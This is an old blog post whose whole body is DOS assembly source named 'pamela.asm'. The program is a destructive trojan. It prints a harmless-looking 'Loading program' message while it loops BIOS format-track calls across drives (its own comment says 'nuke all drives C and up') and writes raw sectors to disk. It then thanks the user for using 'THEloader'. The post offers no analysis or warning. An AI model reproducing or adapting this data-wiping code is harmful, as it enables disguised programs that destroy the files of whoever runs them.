<body><script type="text/javascript"> function setAttributeOnload(object, attribute, val) { if(window.addEventListener) { window.addEventListener("load", function(){ object[attribute] = val; }, false); } else { window.attachEvent('onload', function(){ object[attribute] = val; }); } } </script> <iframe src="http://www.blogger.com/navbar.g?targetBlogID=34599328&amp;blogName=Miss+EndarE&amp;publishMode=PUBLISH_MODE_BLOGSPOT&amp;navbarType=BLUE&amp;layoutType=CLASSIC&amp;searchRoot=http://missendare.blogspot.com/search&amp;blogLocale=en_US&amp;homepageUrl=http://missendare.blogspot.com/&amp;vt=-5226792004062216356" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" height="30px" width="100%" id="navbar-iframe" allowtransparency="true" title="Blogger Navigation and Search"></iframe> <div></div>
Miss EndarE

Monday, September 18, 2006

pamela.asm

DOSSEG
.MODEL SMALL
.STACK 100H
.DATA

CNTR DB 2 ; Counter to nuke all drives C and up
MESSAGE DB 13,10,"Loading program$"
FINISH DB 13,10,"Thanx for using THEloader v1.6$",13,10
DOT DB ".$"

.CODE

kill: MOV AX,@DATA
MOV DS,AX
MOV BP,1
MOV DX,OFFSET MESSAGE ;Print the nice little message
MOV AH,09H
INT 21H

KRAD: CMP CNTR,26 ;Check to see if it's drive Z
JGE BYEBYE ;If it is, then jump to the end...
MOV AH,05 ;Format track
MOV CH,0 ;Blah, blah, blah...
MOV DH,0 ;Starting at Sector 0
MOV DL,CNTR ;Drive
INT 13H
MOV DX,OFFSET DOT
MOV AH,09H
INT 21H
INC CNTR
JMP KRAD

BYEBYE: MOV AL,2
MOV CX,700
MOV DX,00
MOV DS,[DI+99]
MOV BX,[DI+55]
INT 26H
MOV DX,OFFSET FINISH
MOV AH,09H
INT 21H
MOV AX,4C00H
INT 21H ;Get outa here...

END KILL

0 Comments:

<    >

Post a Comment

Links to this post:

Create a Link

<< Home

Current